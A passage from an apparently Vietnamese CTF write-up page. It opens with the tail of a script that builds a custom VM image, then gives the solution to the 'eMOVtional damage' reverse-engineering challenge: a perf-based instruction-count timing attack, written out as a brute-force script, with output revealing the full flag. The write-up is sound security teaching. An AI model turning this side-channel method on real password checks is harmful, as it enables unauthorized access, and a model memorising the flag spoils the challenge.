# 0b0111110 = 2^5 + 2^4 + 2^3 + 2^2 + 2^1
 
# Process inline (no store)
# Input at [60001: 60010], OUTPUT AT [60011: 60020]
INPUT_OFF = 60001
OUTPUT_OFF = 60011
def initTEXT():
    return [
        ADD(INPUT_OFF + 9, NUM_CONST[0], GENERAL[5]),
        XOR(GENERAL[6], GENERAL[6], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[6], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[4], GENERAL[6]),
        XOR(GENERAL[5], GENERAL[6], OUTPUT_OFF + 0),
        
        ADD(INPUT_OFF + 8, NUM_CONST[1], GENERAL[5]),
        XOR(GENERAL[6], GENERAL[6], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[6], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[3], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[2], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[1], GENERAL[6]),
        XOR(GENERAL[5], GENERAL[6], OUTPUT_OFF + 1),
        
        ADD(INPUT_OFF + 7, NUM_CONST[2], GENERAL[5]),
        XOR(GENERAL[6], GENERAL[6], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[6], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[3], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[2], GENERAL[6]),
        XOR(GENERAL[5], GENERAL[6], OUTPUT_OFF + 2),
        
        ADD(INPUT_OFF + 6, NUM_CONST[3], GENERAL[5]),
        XOR(GENERAL[6], GENERAL[6], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[6], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[3], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[1], GENERAL[6]),
        XOR(GENERAL[5], GENERAL[6], OUTPUT_OFF + 3),
        
        ADD(INPUT_OFF + 5, NUM_CONST[4], GENERAL[5]),
        XOR(GENERAL[6], GENERAL[6], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[6], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[3], GENERAL[6]),
        XOR(GENERAL[5], GENERAL[6], OUTPUT_OFF + 4),
        
        ADD(INPUT_OFF + 4, NUM_CONST[5], GENERAL[5]),
        XOR(GENERAL[6], GENERAL[6], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[6], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[2], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[1], GENERAL[6]),
        XOR(GENERAL[5], GENERAL[6], OUTPUT_OFF + 5),
        
        ADD(INPUT_OFF + 3, NUM_CONST[4], GENERAL[5]),
        XOR(GENERAL[6], GENERAL[6], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[6], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[2], GENERAL[6]),
        XOR(GENERAL[5], GENERAL[6], OUTPUT_OFF + 6),
        
        ADD(INPUT_OFF + 2, NUM_CONST[3], GENERAL[5]),
        XOR(GENERAL[6], GENERAL[6], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[6], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[1], GENERAL[6]),
        XOR(GENERAL[5], GENERAL[6], OUTPUT_OFF + 7),
        
        ADD(INPUT_OFF + 1, NUM_CONST[2], GENERAL[5]),
        XOR(GENERAL[6], GENERAL[6], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[6], GENERAL[6]),
        XOR(GENERAL[5], GENERAL[6], OUTPUT_OFF + 8),
        
        ADD(INPUT_OFF, NUM_CONST[1], GENERAL[5]),
        XOR(GENERAL[6], GENERAL[6], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[5], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[4], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[3], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[2], GENERAL[6]),
        OR(GENERAL[6], NUM_CONST[1], GENERAL[6]),
        XOR(GENERAL[5], GENERAL[6], OUTPUT_OFF + 9),
        
        END()
    ]
    
def flatten(list_of_lists):
    if len(list_of_lists) == 0:
        return list_of_lists
    if isinstance(list_of_lists[0], list):
        return flatten(list_of_lists[0]) + flatten(list_of_lists[1:])
    return list_of_lists[:1] + flatten(list_of_lists[1:])
 
total = initCORE()
total += flatten(initTEXT())
 
total += [0] * (65536 - len(total))
 
with open("image.bin", "wb") as f:
    pickle.dump(total, f)

eMOVtional damage (RE)

  • Độ khó dự kiến HARD
  • Số team giải được: 1

Overview

Khi chạy thử chương trình, ta biết được đây sẽ check password có phải flag không:

~/c/w/e/public> ./main
Enter your password: 
1234
Incorrect

Load thử binary với IDA (free), ta được một mớ như sau:

→ Có thể thấy được chương trình đã bị làm rối (obfuscate) khá nặng, tuy nhiên debug symbol vẫn còn (các tên biến vẫn còn được giữ nguyên)

Qua tab function, ta thấy có 1 hàm check khá nghi ngờ

Ở đây ta sẽ thấy 1 điều khá đặc biệt: ngoài MOV, chương trình còn có những instruction rẽ nhánh như CMP và JNZ. Ngoài ra, các node khá tương tự nhau (nếu ko JUMP (có thể là thoả điều kiện gì đó) thì sẽ thực thi node kế tiếp, và ngược lại sẽ nhảy thẳng tới một Node X chung ở cuối hàm → kết thúc hàm check)

→ Chương trình sẽ kiểm tra từng ký tự một, nếu đến ký tự thứ i mà sai thì sẽ kết thúc và in “Incorrect”

Để dễ hình dung thì mình sẽ compile 1 file mẫu và show thử 1 cái graph tương tự như trên (không bị obfuscate):

bool check(char* input) {
    if (input[0] == 'a' && input[1] == 'b' && input[2] == 'c' && input[3] == 'd') {
        return true;
    } else return false;
}
int main() {
    check("abcd");
}

Approach

Từ nhận xét trên, ta thấy được để check một ký tự phải cần đến 1 lượng lớn instruction → Một lỗ hổng để thực hiện Timing attack (1 dạng của Side channel attack)

Ví dụ: Ở ký tự đầu tiên, nếu ta nhập sai, chương trình hiển thị incorrect và tốn 1 khoảng thời gian là X. Nhưng nếu ký tự đầu tiên đúng, và ký tự thứ 2 sai thì thời gian sẽ xấp xỉ X + số instruction cho việc check ký tự thứ 2 * thời gian để chạy 1 instruction.

Do thời gian chạy khá sát nhau, ta cần 1 phần mềm phân tích chuyên sâu hơn: perf https://perf.wiki.kernel.org/index.php/Main_Page

Với perf, ta có thể analyze tới mức số lượng instruction đã được chạy (xấp xỉ) như sau:

~/c/w/e/source [1]> perf stat -x : -e instructions:u ./main
Enter your password: 
1234
Incorrect
398275::instructions:u:1739036:100.00::
 
~/c/w/e/source [1]> perf stat -x : -e instructions:u ./main
Enter your password: 
H123 
Incorrect
398327::instructions:u:1925353:100.00::

Trong đó phần trước :: đầu tiên sẽ là số instruction đã chạy (ta thấy khi thay ký tự đầu tiên bằng chữ H thì số này đã tăng lên → brute force và chọn ký tự có số instruction count lớn nhất!)

Solution:

from subprocess import *
import sys
 
#Establish the command to count the number of instructions, pipe output of command to /dev/null
command = "perf stat -x : -e instructions:u " + sys.argv[1] + " 1>/dev/null" 
 
#Establish the empty flag
flag = ''
 
 
while True:
    #Reset the highest instruction value and corresponding character 
    ins_count = 0
    count_chr = ''
    #Iteratethrough all printable chatacyers
    for i in range(33, 127):
        #Start a new process for the new character
        target = Popen(command, stdout=PIPE, stdin=PIPE, stderr=STDOUT, shell=True)
        #Give the program the new input to test, and grab the store the output of perf-stat in target_output
        f = flag + chr(i)
        target_output, _ = target.communicate(input=f.encode() + b'\n')
        #Filter out the instruction count
        instructions = int(target_output.split(b':')[0].decode())
        # print(chr(i), instructions)
        #Check if the new character has the highest instruction count, and if so record the instruction count and corresponding character
        if instructions > ins_count:
            count_chr = chr(i)
            ins_count = instructions
    #Add the character with the highest instruction count to flag, print it, and restart
    flag += count_chr
    print(flag)
~/c/w/e/source [1]> python3 solve.py ./main
H
HC
HCM
HCMU
HCMUS
HCMUS-
HCMUS-C
HCMUS-CT
HCMUS-CTF
HCMUS-CTF{
HCMUS-CTF{n
HCMUS-CTF{n0
HCMUS-CTF{n0_
HCMUS-CTF{n0_s
HCMUS-CTF{n0_st
HCMUS-CTF{n0_st4
HCMUS-CTF{n0_st4t
HCMUS-CTF{n0_st4ti
HCMUS-CTF{n0_st4tic
HCMUS-CTF{n0_st4tic_
HCMUS-CTF{n0_st4tic_j
HCMUS-CTF{n0_st4tic_ju
HCMUS-CTF{n0_st4tic_ju5
HCMUS-CTF{n0_st4tic_ju5t
HCMUS-CTF{n0_st4tic_ju5t_
HCMUS-CTF{n0_st4tic_ju5t_s
HCMUS-CTF{n0_st4tic_ju5t_s1
HCMUS-CTF{n0_st4tic_ju5t_s1d
HCMUS-CTF{n0_st4tic_ju5t_s1d3
HCMUS-CTF{n0_st4tic_ju5t_s1d3_
HCMUS-CTF{n0_st4tic_ju5t_s1d3_c
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4n
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn3
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn3l
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn3l_
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn3l_4
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn3l_4t
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn3l_4tt
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn3l_4tta
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn3l_4ttac
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn3l_4ttack
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn3l_4ttack}

Appendix

Bài này được build bằng tool movfuscator của tác giả Christopher Domas https://github.com/xoreaxeaxeax/movfuscator

Ý tưởng thì từ cũng chính bài thuyết trình của tác giả ở hội nghị DEFCON 2015: https://youtu.be/HlUe0TUHOIc :)) Thay vì bảo vệ chương trình 1 cách tối ưu thì ta có thể đánh vào đòn tâm lý từ bỏ việc RE